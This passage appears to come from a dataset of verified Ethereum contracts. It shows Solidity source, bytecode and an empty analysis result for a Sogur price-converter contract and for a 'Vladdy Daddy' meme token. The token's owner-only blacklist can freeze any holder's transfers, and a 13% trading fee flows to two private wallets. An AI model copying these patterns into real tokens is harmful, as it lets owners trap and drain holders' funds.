* @dev Get an array of all the administrators.
* @return An array of all the administrators.
*/
function getAdminArray() external view returns (address[] memory) {
return adminArray;
}
/**
* @dev Get the total number of administrators.
* @return The total number of administrators.
*/
function getAdminCount() external view returns (uint256) {
return adminArray.length;
}
}
// File: contracts/wallet_trading_limiter/interfaces/IWalletsTradingLimiterValueConverter.sol
/**
* @title Wallets Trading Limiter Value Converter Interface.
*/
interface IWalletsTradingLimiterValueConverter {
/**
* @dev Get the current limiter currency worth of a given SGR amount.
* @param _sgrAmount The amount of SGR to convert.
* @return The equivalent amount of the limiter currency.
*/
function toLimiterValue(uint256 _sgrAmount) external view returns (uint256);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/wallet_trading_limiter/WalletsTradingLimiterValueConverter.sol
/**
* Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1
*/
/**
* @title Wallets Trading Limiter Value Converter.
*/
contract WalletsTradingLimiterValueConverter is IWalletsTradingLimiterValueConverter, Adminable {
string public constant VERSION = "1.0.1";
using SafeMath for uint256;
/**
* @dev price maximum resolution.
* @notice Allow for sufficiently-high resolution.
* @notice Prevents multiplication-overflow.
*/
uint256 public constant MAX_RESOLUTION = 0x10000000000000000;
uint256 public sequenceNum = 0;
uint256 public priceN = 0;
uint256 public priceD = 0;
event PriceSaved(uint256 _priceN, uint256 _priceD);
event PriceNotSaved(uint256 _priceN, uint256 _priceD);
/**
* @dev Set the price.
* @param _sequenceNum The sequence-number of the operation.
* @param _priceN The numerator of the price.
* @param _priceD The denominator of the price.
*/
function setPrice(uint256 _sequenceNum, uint256 _priceN, uint256 _priceD) external onlyAdmin {
require(1 <= _priceN && _priceN <= MAX_RESOLUTION, "price numerator is out of range");
require(1 <= _priceD && _priceD <= MAX_RESOLUTION, "price denominator is out of range");
if (sequenceNum < _sequenceNum) {
sequenceNum = _sequenceNum;
priceN = _priceN;
priceD = _priceD;
emit PriceSaved(_priceN, _priceD);
}
else {
emit PriceNotSaved(_priceN, _priceD);
}
}
/**
* @dev Get the current limiter worth of a given SGR amount.
* @param _sgrAmount The amount of SGR to convert.
* @return The equivalent limiter amount.
*/
function toLimiterValue(uint256 _sgrAmount) external view returns (uint256) {
assert(priceN > 0 && priceD > 0);
return _sgrAmount.mul(priceN) / priceD;
}
} | 0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166332405c8f81146101005780634bdec000146101495780634e71e0c814610170578063715018a614610187578063735748801461019c57806380dcbff1146101b45780638b7bf3eb146102195780638da5cb5b1461022e578063973f61291461026c5780639f00592014610284578063aa585d56146102b2578063ab0da5a9146102d0578063b8ceee50146102fe578063cb96c7c714610313578063e30c397814610328578063ebfc4a191461033d578063f2fde38b14610352578063ffa1ad7414610380575b600080fd5b34801561010c57600080fd5b5061012e73ffffffffffffffffffffffffffffffffffffffff6004351661040a565b60408051921515835260208301919091528051918290030190f35b34801561015557600080fd5b5061015e610429565b60408051918252519081900360200190f35b34801561017c57600080fd5b5061018561042f565b005b34801561019357600080fd5b506101856104e9565b3480156101a857600080fd5b5061015e60043561057a565b3480156101c057600080fd5b506101c96105be565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102055781810151838201526020016101ed565b505050509050019250505060405180910390f35b34801561022557600080fd5b5061015e61062e565b34801561023a57600080fd5b50610243610634565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561027857600080fd5b50610243600435610650565b34801561029057600080fd5b5061018573ffffffffffffffffffffffffffffffffffffffff60043516610685565b3480156102be57600080fd5b506101856004356024356044356108bc565b3480156102dc57600080fd5b5061018573ffffffffffffffffffffffffffffffffffffffff60043516610b0a565b34801561030a57600080fd5b5061015e610e3c565b34801561031f57600080fd5b5061015e610e42565b34801561033457600080fd5b50610243610e48565b34801561034957600080fd5b5061015e610e64565b34801561035e57600080fd5b5061018573ffffffffffffffffffffffffffffffffffffffff60043516610e71565b34801561038c57600080fd5b50610395610edc565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103cf5781810151838201526020016103b7565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6003602052600090815260409020805460019091015460ff9091169082565b60045481565b60015473ffffffffffffffffffffffffffffffffffffffff16331461045357600080fd5b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff16331461050d57600080fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a2600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60008060055411801561058f57506000600654115b151561059757fe5b6006546005546105ae90849063ffffffff610f1316565b8115156105b757fe5b0492915050565b6060600280548060200260200160405190810160405280929190818152602001828054801561062357602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff1681526001909101906020018083116105f8575b505050505090505b90565b60025490565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600280548290811061065e57fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146106aa57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8216151561072e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f61646d696e6973747261746f7220697320696c6c6567616c0000000000000000604482015290519081900360640190fd5b5073ffffffffffffffffffffffffffffffffffffffff81166000908152600360205260409020805460ff16156107eb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f61646d696e6973747261746f7220697320616c7265616479206163636570746560448201527f6400000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117825560028054838301819055918201815560009081527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace909101805473ffffffffffffffffffffffffffffffffffffffff85167fffffffffffffffffffffffff0000000000000000000000000000000000000000909116811790915560405190917fc82f6ab934750eb35291c42245c3f61a743d8e4fa6415e9698dad8018a82b7f291a25050565b3360009081526003602052604090205460ff16151561093c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b816001111580156109565750680100000000000000008211155b15156109c357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f7072696365206e756d657261746f72206973206f7574206f662072616e676500604482015290519081900360640190fd5b806001111580156109dd5750680100000000000000008111155b1515610a7057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f70726963652064656e6f6d696e61746f72206973206f7574206f662072616e6760448201527f6500000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b826004541015610ac957600483905560058290556006819055604080518381526020810183905281517f7b77f98ae9ef691679340b5e4d21ee0a78305d4c88fccd632a2ca0fb9dbb0519929181900390910190a1610b05565b604080518381526020810183905281517fdad2a18f418a0c24ab230866be19f257a4b2d66d63b473ed90cdd5018eb71368929181900390910190a15b505050565b60008054819073ffffffffffffffffffffffffffffffffffffffff163314610b3157600080fd5b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020600181015460025491935010610bf357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f61646d696e6973747261746f7220697320616c72656164792072656a6563746560448201527f6400000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60028260010154815481101515610c0657fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff848116911614610cbe57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f61646d696e6973747261746f7220697320616c72656164792072656a6563746560448201527f6400000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8101908110610cee57fe5b600091825260208083209091015460018581015473ffffffffffffffffffffffffffffffffffffffff9092168085526003909352604090932090920182905560028054919350839290918110610d4057fe5b600091825260209091200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190610dbf9082610f4c565b5073ffffffffffffffffffffffffffffffffffffffff831660008181526003602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00168155600101829055517fe07363bd8f4d015b4aa1fae4fde3985df93f7b2cc9602ae484e64d6c29364d259190a2505050565b60065481565b60055481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6801000000000000000081565b60005473ffffffffffffffffffffffffffffffffffffffff163314610e9557600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60408051808201909152600581527f312e302e31000000000000000000000000000000000000000000000000000000602082015281565b600080831515610f265760009150610f45565b50828202828482811515610f3657fe5b0414610f4157600080fd5b8091505b5092915050565b815481835581811115610b0557600083815260209020610b0591810190830161062b91905b80821115610f855760008155600101610f71565b50905600a165627a7a72305820eddd2fcb7a6450a19adc3e601538cf3f047a37db2c658e01c202164c115ec7a20029 | {"success": true, "error": null, "results": {}} | 695 |
0xc33c9a487baa1302d55e1effa9beca604af7345f | //Name: Vladdy Daddy
//Telegram: https://t.me/VladdyDaddyToken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VladdyDaddy is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private maxTxAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private setTax;
uint256 private setRedis;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Vladdy Daddy";
string private constant _symbol = "VLAD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2) {
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_rOwned[_feeAddrWallet1] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), _feeAddrWallet1, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if(!(_isExcludedFromFee[from] || _isExcludedFromFee[to])){
if (from != address(this)) {
require(amount <= maxTxAmount);
_feeAddr1 = setRedis;
_feeAddr2 = setTax;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _tTotal/1000){
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 toSend = amount/2;
_feeAddrWallet1.transfer(toSend);
_feeAddrWallet2.transfer(toSend);
}
function liftMaxTrnx() external{
maxTxAmount = _tTotal;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
setTax = 12;
setRedis = 1;
maxTxAmount = _tTotal/1000;
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102f2578063c9567bf914610307578063dd62ed3e1461031c578063eb91e65114610362578063f9f92be41461038257600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d257600080fd5b8063313ce567116100dc578063313ce567146101d657806335ffbc47146101f25780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461016057806318160ddd1461019057806323b872dd146101b657600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b566c6164647920446164647960a01b60208201525b6040516101579190611524565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004611490565b6103a2565b6040519015158152602001610157565b34801561019c57600080fd5b50683635c9adc5dea000005b604051908152602001610157565b3480156101c257600080fd5b506101806101d136600461144f565b6103b9565b3480156101e257600080fd5b5060405160098152602001610157565b3480156101fe57600080fd5b50610211683635c9adc5dea00000600a55565b005b34801561021f57600080fd5b5061021161022e3660046114bc565b610422565b34801561023f57600080fd5b50610211610473565b34801561025457600080fd5b506101a86102633660046113dc565b6104a0565b34801561027457600080fd5b506102116104c2565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102b157600080fd5b506040805180820190915260048152631593105160e21b602082015261014a565b3480156102de57600080fd5b506101806102ed366004611490565b610536565b3480156102fe57600080fd5b50610211610543565b34801561031357600080fd5b50610211610579565b34801561032857600080fd5b506101a8610337366004611416565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036e57600080fd5b5061021161037d3660046113dc565b610956565b34801561038e57600080fd5b5061021161039d3660046113dc565b6109a1565b60006103af3384846109ef565b5060015b92915050565b60006103c6848484610b13565b6104188433610413856040518060600160405280602881526020016116df602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cab565b6109ef565b5060019392505050565b6000546001600160a01b031633146104555760405162461bcd60e51b815260040161044c90611579565b60405180910390fd5b60128054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461049357600080fd5b4761049d81610ce5565b50565b6001600160a01b0381166000908152600260205260408120546103b390610d68565b6000546001600160a01b031633146104ec5760405162461bcd60e51b815260040161044c90611579565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103af338484610b13565b600f546001600160a01b0316336001600160a01b03161461056357600080fd5b600061056e306104a0565b905061049d81610dec565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161044c90611579565b601254600160a01b900460ff16156105fd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044c565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561063a3082683635c9adc5dea000006109ef565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561067357600080fd5b505afa158015610687573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ab91906113f9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f357600080fd5b505afa158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b91906113f9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561077357600080fd5b505af1158015610787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ab91906113f9565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d71947306107db816104a0565b6000806107f06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561085357600080fd5b505af1158015610867573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061088c91906114f6565b5050600c600d55506001600e556108ae6103e8683635c9adc5dea00000611637565b600a556012805463ffff00ff60a01b198116630101000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561091a57600080fd5b505af115801561092e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095291906114d9565b5050565b6000546001600160a01b031633146109805760405162461bcd60e51b815260040161044c90611579565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146109cb5760405162461bcd60e51b815260040161044c90611579565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044c565b6001600160a01b038216610ab25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044c565b6001600160a01b03831660009081526006602052604090205460ff1615610b9b57600080fd5b6001600160a01b03831660009081526005602052604090205460ff1680610bda57506001600160a01b03821660009081526005602052604090205460ff165b610c9b576001600160a01b0383163014610c9b57600a54811115610bfd57600080fd5b600e54600b55600d54600c556000610c14306104a0565b9050610c2b6103e8683635c9adc5dea00000611637565b811115610c9957601254600160a81b900460ff16158015610c5a57506012546001600160a01b03858116911614155b8015610c6f5750601254600160b01b900460ff165b15610c9957610c7d81610dec565b47670429d069189e0000811115610c9757610c9747610ce5565b505b505b610ca6838383610f75565b505050565b60008184841115610ccf5760405162461bcd60e51b815260040161044c9190611524565b506000610cdc8486611678565b95945050505050565b6000610cf2600283611637565b600f546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610d2d573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610ca6573d6000803e3d6000fd5b6000600854821115610dcf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044c565b6000610dd9610f80565b9050610de58382610fa3565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3457610e346116a5565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e8857600080fd5b505afa158015610e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec091906113f9565b81600181518110610ed357610ed36116a5565b6001600160a01b039283166020918202929092010152601154610ef991309116846109ef565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f329085906000908690309042906004016115ae565b600060405180830381600087803b158015610f4c57600080fd5b505af1158015610f60573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610ca6838383610fe5565b6000806000610f8d6110dc565b9092509050610f9c8282610fa3565b9250505090565b6000610de583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061111e565b600080600080600080610ff78761114c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061102990876111a9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461105890866111eb565b6001600160a01b03891660009081526002602052604090205561107a8161124a565b6110848483611294565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110c991815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006110f88282610fa3565b82101561111557505060085492683635c9adc5dea0000092509050565b90939092509050565b6000818361113f5760405162461bcd60e51b815260040161044c9190611524565b506000610cdc8486611637565b60008060008060008060008060006111698a600b54600c546112b8565b9250925092506000611179610f80565b9050600080600061118c8e87878761130d565b919e509c509a509598509396509194505050505091939550919395565b6000610de583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cab565b6000806111f8838561161f565b905083811015610de55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044c565b6000611254610f80565b90506000611262838361135d565b3060009081526002602052604090205490915061127f90826111eb565b30600090815260026020526040902055505050565b6008546112a190836111a9565b6008556009546112b190826111eb565b6009555050565b60008080806112d260646112cc898961135d565b90610fa3565b905060006112e560646112cc8a8961135d565b905060006112fd826112f78b866111a9565b906111a9565b9992985090965090945050505050565b600080808061131c888661135d565b9050600061132a888761135d565b90506000611338888861135d565b9050600061134a826112f786866111a9565b939b939a50919850919650505050505050565b60008261136c575060006103b3565b60006113788385611659565b9050826113858583611637565b14610de55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044c565b6000602082840312156113ee57600080fd5b8135610de5816116bb565b60006020828403121561140b57600080fd5b8151610de5816116bb565b6000806040838503121561142957600080fd5b8235611434816116bb565b91506020830135611444816116bb565b809150509250929050565b60008060006060848603121561146457600080fd5b833561146f816116bb565b9250602084013561147f816116bb565b929592945050506040919091013590565b600080604083850312156114a357600080fd5b82356114ae816116bb565b946020939093013593505050565b6000602082840312156114ce5760008